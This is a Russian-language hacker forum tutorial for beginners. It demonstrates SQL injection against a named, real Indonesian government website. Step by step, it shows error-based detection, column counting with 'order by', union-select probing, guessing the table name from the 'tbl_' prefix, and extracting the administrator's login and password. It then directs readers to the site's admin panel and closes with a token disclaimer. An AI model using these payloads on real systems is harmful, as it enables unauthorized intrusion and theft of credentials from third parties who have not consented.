Привет хацкеры,кул хацкеры и новички!С вами redbu11.В этой статье пойдёт речь о такой уязвимости как

SQL injection.Я знаю что таких статей в инете немеряно,но всё-таки я напишу ещё одну статейку о

такой уязвимости.Я написал эту статью для тех у кого ещё не сформировалась идея о этой уязвимости,то

есть новичкам в этом деле.То что я буду рассказывать,совсем не новое,Так что расчитана для

новичков.Я думаю вы все знаете что такое SQL уязвимость,а если нет,то поищите в инете,там много про

это написано,просто если я щас начну объяснять что это такое в больших подробностях,то это займёт

много времени.И так приступим.))
Для обнаружения SQL инъекции я чаще всего пользуюсь манипулированием числовыми параметрами в GET

запросах.Вот например меня как-то заинтересовала такая ссылка:

http://www.komnasfbpi.go.id/berita_eng.php?id=58

тут id=58 и есть числовой параметр.Итак,проверим её на уязвимость.В конец ссылки добавляем одиночную

кавычку '.

http://www.komnasfbpi.go.id/berita_eng.php?id=58'

И смотрим на результат.Опа!Страница загрузилась неправильно и выдала нам SQL ошибку:

Open Database: Invalid query
SELECT * FROM tbl_berita where berita_id=57'

Ура!Это и есть SQL уязвимость.Но чтобы убедиться что уязвимость действительно существует,проверим

ещё кое-что.ПЕреходим опять по адресу:

http://www.komnasfbpi.go.id/berita_eng.php?id=58

И видим там страницу с заголовком "KOMNAS FBPI CONTINUES BIRD FLU CONTROL PROGRAM".Ок,теперь

перейдём на страничку "ниже",не на 58-ую а на 57-ую,то есть так:

http://www.komnasfbpi.go.id/berita_eng.php?id=57

И видим там страницу уже с другим заголовком "Air Batu Asahan Villagers Are Confirmed Bird Flu

Negative".Теперь переходим обратно на 58-ую страницу:

http://www.komnasfbpi.go.id/berita_eng.php?id=58

Теперь когда мы знаем что 58-ая страница имеет заголовок "KOMNAS FBPI CONTINUES BIRD FLU CONTROL

PROGRAM" а 57-ая имеет заголовок "Air Batu Asahan Villagers Are Confirmed Bird Flu Negative" то

проверим переменную "id" на уязвимость и составим такой запрос:

http://www.komnasfbpi.go.id/berita_eng.php?id=58-1/*

(Всегда закрываем символом /*)И смотрим на результат.В результате загрузилась не 58 а 57

страница.Ура!!!Уязвимость действительно есть!А что это значит?С предыдущим запросом мы попытались

выполнить простую арифметическую операцию,то есть 58-1,и сайт её не отвильтровал а выполнил,и в

результате мы получили 58-1=57,это означает что вместо этого мы можем вставить любой другой запрос

который нам будет более полезен.Мы сейчас будем пытаться вытащить с помощью этой уязвимости из базы

данных логин и пасс админа.И так,сначало нам надо выяснить сколько полей в базе данных.Я для этого

использую оператор "order+by".И так проверим сколько-же там полей используя order+by:

http://www.komnasfbpi.go.id/berita_eng. … er+by+30/*

На такой запрос нам выдалась ошибка,это означает что полей меньше чем 30.Пробуем так:

http://www.komnasfbpi.go.id/berita_eng. … er+by+20/*

На это нам тоже выдалась ошибка,значит полей меньше 20-и.Пробуем дальше:

http://www.komnasfbpi.go.id/berita_eng. … er+by+10/*

На это нам не выдалось никакой ошибки,это означает что полей или 10,или больше 10-и.Продалжаем в

этом-же духе пока не обнарушем верное количество полей:

http://www.komnasfbpi.go.id/berita_eng. … er+by+15/*

Страница снова загрузилась с ошибкой,это означает что полей меньше чем 15,пробуем так:

http://www.komnasfbpi.go.id/berita_eng. … er+by+14/*

Уряяя!Страница 14 загрузилась нормально,а 15-ая загружалась с ошибкой,это означает что полей

всего-лишь 14,это нам только наруку.Теперь зная что полей 14,посмотрим какое из них принтабельное,то

есть с помощью какого поле выводиться информация.Для этого нам нужно воспользоваться оператором

"union+select",составляем запрос,делаеться это так:

http://www.komnasfbpi.go.id/berita_eng. … 12,13,14/*

Смотрим на результат,когда страница загрузиться,прокручиваем страницу до самого низа,и мы увидим что

там отоброжаеться цифра 9,это означает что для вывода информации используеться 9-ое поле.
Ну вот теперь когда мы знаем что в базе только 14 полей и использутся 9-ое принтабельное,переходим к

следующему этапу,будем долбить базу данных и пробовать вытащить оттуда логип и пасс Админа.))Нам щас

нужно проверить существует ли в базе данных таблици с названием типа users,user,admin И т.д...Это

тоже делаеться с оператором union+select.Нам щас нужен логин и пасс админа,давайте начнём с

логина.Для того чтоб узнать логин,нам надо проверить существует ли в базе данных таблица с названием

name,или login,где и храниться логин.Теперь мы и будем проверять на наличие всех этих таблиц.Делаем

это как я уже говорил оператором union+select таким образом:

http://www.komnasfbpi.go.id/berita_eng. … 3,14+from+

users/*

Этим мы проверяем существует ли таблица users в базе данных,если такая существует,то страница

загрузиться без ошибки,а если такой нет,то загрузиться с ошибкой.Нам на это выдалась ошибка,значет

такой нет.Проверим есть ли таблица users:

http://www.komnasfbpi.go.id/berita_eng. … 3,14+user/

*

к сожалению и такой не оказалось,тоже нам на это выдалась ошибка...((Но не надо

расстраиваться!Многие админы используют префиксы перед названием таблицы.Теперь обратите внимание на

ту ошибку которая нам выводиться:

Open Database: Invalid query
SELECT * FROM tbl_berita where berita_id=57'

Посмотрите там на этот текст: tbl_berita
Тут используеться префикс tbl_ перед названием таблицы.Давайте проверим существует ли таблица user

используя этот префикс!Ок,делаем запрос:

http://www.komnasfbpi.go.id/berita_eng. … 3,14+tbl_u

ser/*

Есть!Ура!Страница загрузилась нормально,значит таблица tbl_user существует!Теперь попробуем достать

имя пользователя из таблицы tbl_user.Проверим,существует ли запись с названием name в таблицы

tbl_user.Это делаесть почти также,только в 9-ое поле вставляем слово name,этим мы и будем проверять

существует ли запись name в таблицы tbl_user.Этот запрос будет выглядеть так:

http://www.komnasfbpi.go.id/berita_eng. … 2,13,14+tb

l_user/*

Посмотрим что мы на это получем,А нам на это страница загрузилась нормально,значит есть

такая!Прокручиваем страничку в самый низ,и видим там запись "Administrator",Ураа!!У нас теперь есть

логин админа,осталось достать пасс.Пробуем:

http://www.komnasfbpi.go.id/berita_eng. … 11,12,13,1

4+tbl_user/*

На это нам страница загрузилась с ошибкой,это означает что нет записи password,пробум так:

http://www.komnasfbpi.go.id/berita_eng. … ,12,13,14+

tbl_user/*

На это тоже выдалась ошибка,,такой тоже нет((пробуем дальше:

http://www.komnasfbpi.go.id/berita_eng. … ,13,14+tbl

_user/*

Даа!Страница загрузилась без ошибки,и это значит что запись!!!Прокручиваем страницу в самый низ и

там мы видим пасс админа!!!Осталось его расшифровать и всё!!!
Потом переходим сюда http://www.komnasfbpi.go.id/admin вводим полученные данные,и всё,дальше всё

зависит от вашей фантазии!
Вот и всё,всё о чём бы я с вами хотел бы поделиться.Я описал просенькую SQL инъекцию.

ВНИМАНИЕ!Автор не несёт никакой ответственности за некорректное использование размещённой здесь

информации!Всё что здесь размещено,это не пробуждения к действию,а всего-лишь для ознакомительных

целей!